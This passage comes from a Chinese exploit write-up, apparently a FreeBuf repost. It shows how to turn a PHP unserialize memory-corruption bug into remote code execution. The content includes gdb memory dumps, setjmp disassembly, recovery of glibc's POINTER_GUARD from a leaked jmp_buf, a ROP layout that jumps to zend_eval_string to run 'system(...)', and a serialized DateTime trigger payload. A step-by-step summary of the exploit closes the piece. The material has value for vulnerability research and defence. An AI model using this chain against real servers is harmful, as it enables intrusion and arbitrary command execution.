ht = 0x0, obj = {handle = 0, handlers = 0x0}, ast = 0x0}, refcount__gc = 2, type = 0 '\000',

is_ref__gc = 0 '\000'}, uninitialized_zval_ptr = 0x130ab68 , error_zval = {value = {lval = 0,

dval = 0, str = {val = 0x0, len = 0}, ht = 0x0, obj = {handle = 0, handlers = 0x0}, ast = 0x0},

refcount__gc = 1, type = 0 '\000', is_ref__gc = 0 '\000'}, error_zval_ptr = 0x130ab88 ,

symtable_cache = {0x0 }, symtable_cache_limit = 0x130aca0 ,

symtable_cache_ptr = 0x130aba0 , opline_ptr = 0x0,

active_symbol_table = 0x130acc8 , symbol_table = {nTableSize = 64, nTableMask = 63,

nNumOfElements = 7, nNextFreeElement = 0, pInternalPointer = 0x7ffff7fce2b8, pListHead = 0x7ffff7fce2b8,

pListTail = 0x7ffff7fd0eb8, arBuckets = 0x7ffff7fce0a8, pDestructor = 0x94cf86 <_zval_ptr_dtor>,

persistent = 0 '\000', nApplyCount = 0 '\000', bApplyProtection = 1 '\001'}, included_files = {nTableSize = 8,

nTableMask = 0, nNumOfElements = 0, nNextFreeElement = 0, pInternalPointer = 0x0, pListHead = 0x0,

pListTail = 0x0, arBuckets = 0x1303da0 , pDestructor = 0x0, persistent = 0 '\000',

nApplyCount = 0 '\000', bApplyProtection = 1 '\001'}, bailout = 0x7fffffffd0f0, error_reporting = 22519,

可以看到这里的bailout = 0x7fffffffd0f0

但是仅仅是直接覆盖jmp_buf还是不行的。因为在新版glic中对jmp_buf里保存的关键寄存器进行了PTR_MANGLE加密处理。我们来看看setjmp的代码(gdb) disas setjmp

Dump of assembler code for function setjmp:

0x00007ffff55f2430 : mov $0x1,%esi

0x00007ffff55f2435 : jmpq 0x7ffff55f23a0 <__sigsetjmp>

End of assembler dump.

(gdb) disas __sigsetjmp

Dump of assembler code for function __sigsetjmp:

0x00007ffff55f23a0 : mov %rbx,(%rdi)

0x00007ffff55f23a3 : mov %rbp,%rax

0x00007ffff55f23a6 : xor %fs:0x30,%rax

0x00007ffff55f23af : rol $0x11,%rax

0x00007ffff55f23b3 : mov %rax,0x8(%rdi)

0x00007ffff55f23b7 : mov %r12,0x10(%rdi)

0x00007ffff55f23bb : mov %r13,0x18(%rdi)

0x00007ffff55f23bf : mov %r14,0x20(%rdi)

0x00007ffff55f23c3 : mov %r15,0x28(%rdi)

0x00007ffff55f23c7 : lea 0x8(%rsp),%rdx

0x00007ffff55f23cc : xor %fs:0x30,%rdx

0x00007ffff55f23d5 : rol $0x11,%rdx

0x00007ffff55f23d9 : mov %rdx,0x30(%rdi) PTR_MANGLE处理RSP并保存

0x00007ffff55f23dd : mov (%rsp),%rax

0x00007ffff55f23e1 : nop

0x00007ffff55f23e2 : xor %fs:0x30,%rax

0x00007ffff55f23eb : rol $0x11,%rax

0x00007ffff55f23ef : mov %rax,0x38(%rdi) PTR_MANGLE处理返回地址RIP并保存

0x00007ffff55f23f3 : jmpq 0x7ffff55f2400 <__sigjmp_save>

End of assembler dump.

(gdb)

我们可以看到PTR_MANGLE加密算法是xor %fs:0x30,%rdx

rol $0x11,%rdx

其中fs:0x30就是POINTER_GUARD这个算法是可逆的。而php_execute_script调用了setjmp并将jmpbuf保存到EG(bailout)中。因此通过漏洞进行任意内存读操作来泄漏php_execute_script地址,即可知道调用setjmp时的返回地址RIP和保存在jmp_buf里面的被加密以后的RIP值。然后我们通过PTR_MANGLE加密算法的逆运算就可以反推出POINTER_GUARD的值了。用这个POINTER_GUARD可以加密我们自己的返回地址,再覆盖jmp_buf从而达到控制程序流程的目的。

php_execute_script的地址同样可以通过ELF文件的strtab、symtab获得在php_execute_script中调用了setjmp的偏移是(gdb) disas php_execute_script

Dump of assembler code for function php_execute_script:

0x00000000008d6d11 : push %rbp

0x00000000008d6d12 : mov %rsp,%rbp

0x00000000008d6d15 : push %rbx

0x00000000008d6d16 : sub $0x1238,%rsp

0x00000000008d6d1d : mov %rdi,-0x1238(%rbp)

=> 0x00000000008d6d24 : lea -0xd0(%rbp),%rsi

0x00000000008d6d2b : mov $0x0,%eax

0x00000000008d6d30 : mov $0xf,%edx

0x00000000008d6d35 : mov %rsi,%rdi

0x00000000008d6d38 : mov %rdx,%rcx

0x00000000008d6d3b : rep stos %rax,%es:(%rdi)

0x00000000008d6d3e : lea -0x150(%rbp),%rsi

0x00000000008d6d45 : mov $0x0,%eax

0x00000000008d6d4a : mov $0xf,%edx

0x00000000008d6d4f : mov %rsi,%rdi

0x00000000008d6d52 : mov %rdx,%rcx

0x00000000008d6d55 : rep stos %rax,%es:(%rdi)

0x00000000008d6d58 : movl $0x0,-0x24(%rbp)

0x00000000008d6d5f : lea 0xa33dfa(%rip),%rax # 0x130ab60

0x00000000008d6d66 : movl $0x0,0x208(%rax)

0x00000000008d6d70 : movb $0x0,-0x25(%rbp)

0x00000000008d6d74 : mov $0x10,%eax

0x00000000008d6d79 : sub $0x1,%rax

0x00000000008d6d7d : add $0x100f,%rax

0x00000000008d6d83 : mov $0x10,%ebx

0x00000000008d6d88 : mov $0x0,%edx

0x00000000008d6d8d : div %rbx

0x00000000008d6d90 : imul $0x10,%rax,%rax

0x00000000008d6d94 : sub %rax,%rsp

0x00000000008d6d97 : lea 0x8(%rsp),%rax

0x00000000008d6d9c : add $0xf,%rax

0x00000000008d6da0 : shr $0x4,%rax

0x00000000008d6da4 : shl $0x4,%rax

0x00000000008d6da8 : mov %rax,-0x30(%rbp)

0x00000000008d6dac : mov -0x30(%rbp),%rax

0x00000000008d6db0 : movb $0x0,(%rax)

0x00000000008d6db3 : lea 0xa33da6(%rip),%rax # 0x130ab60

0x00000000008d6dba : mov 0x1f8(%rax),%rax

0x00000000008d6dc1 : mov %rax,-0x38(%rbp)

0x00000000008d6dc5 : lea 0xa33d94(%rip),%rax # 0x130ab60

0x00000000008d6dcc : lea -0x1230(%rbp),%rdx

0x00000000008d6dd3 : mov %rdx,0x1f8(%rax)

0x00000000008d6dda : lea -0x1230(%rbp),%rax

0x00000000008d6de1 : mov %rax,%rdi

0x00000000008d6de4 : callq 0x42cdc0 <_setjmp> #这里调用setjmp

0x00000000008d6de9 : test %eax,%eax #这个是返回地址

因此偏移量是0x00000000008d6de9-0x00000000008d6d11=0xd8,我们取得php_execute_script地址+0xd8作为返回地址set_jmp_ret_addr,然后得到POINTER_GUARDPOINTER_GUARD = ror(jmp_buf[JB_PC], 0x11) ^ set_jmp_ret_addr

得到POINTER_GUARD以后,就可以用来加密我们自己的shellcode地址和RSP地址。

七、shellcode

在PHP下执行我们自己的代码首先需要对抗DEP,也就是需要ROP来绕过执行限制。但是在PHP下又有其特殊性比其他的应用漏洞利用起来要容易得多。因为PHP有自己的代码执行函数eval不需要我们去编写二进制shellcode。我们只需要获得eval的内部实现函数zend_eval_string的地址,并排列好栈布局把PHP代码放在后面,这样就可以直接利用zend_eval_string执行我们的PHP代码了。

zend_eval_string的地址同样可以通过ELF文件来获取到远程需要通过strtab、symtab来获得。

最终覆盖jmp_buf的内容是这样的

d545831493749cfa91b9ec3f97941f55.png

其中retval_ptr和string_name这两个是zend_eval_string的后两个参数。retval_ptr可以为0,string_name随便指向一个字符串。php_code_addr就是我们要执行的PHP代码的地址'system(...)'。这里的RSP要指向jmp_buf+0x40也就是RIP后面的这个栈地址,然后同样用POINTER_GUARD进行加密。因为是64位程序不能靠栈来传递参数,我们还需要找到pop rdi;ret;/pop rsi; ret/pop rdx;ret这样的gadgets地址来进行参数传递。这里要用两次pop_rdi_addr的原始是我发现栈内容会被程序修改,第一次pop rdi得到的php_code_addr是不对的,第二次再弹出的rdi就是正确的了。注意只有第一个pop_rdi_addr需要加密,第二个pop_rdi_addr不需要加密。用这样的布局好的内容覆盖jmp_buf之后,一旦出现异常就会跳去zend_eval_string执行,此时第一个参数即rdi参数指向了我们的PHP代码。

制造异常的方式是反序列化以下代码'O:8:"DateTime":1:{s:10:"_date_time";s:25:"-001-11-30T00:00:00+01:00";}'

八、总结

远程利用此漏洞需要进行的步骤是利用读内存的方法获得php模块的ELF文件地址

通过ELF文件的strtab、symtab分析出executor_globals、php_execute_script和zend_eval_string地址

通过executor_globals得到bailout也就是jmp_buf地址

从jmp_buf开始向上搜索内存找到一个0x0C到0x8F之间的数值当作内存块1的长度,在这个长度+0x10的地方释放内存块1

重用被释放的内存块1在末尾伪造一个内存块2的长度,使内存块2能够达到jmp_buf的位置

释放内存块2

利用jmp_buf中存储的返回地址和php_execute_script中的实际返回地址计算出POINTER_GUARD

重用内存块2用构造好的包含用POINTER_GUARD加密过的zend_eval_string地址和PHP代码的ROP链去覆盖jmp_buf

制造异常跳转到zend_eval_string去执行我们的PHP代码

参考文献

*本文原创作者:ph1re ,本文属FreeBuf原创奖励计划,未经许可禁止转载

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值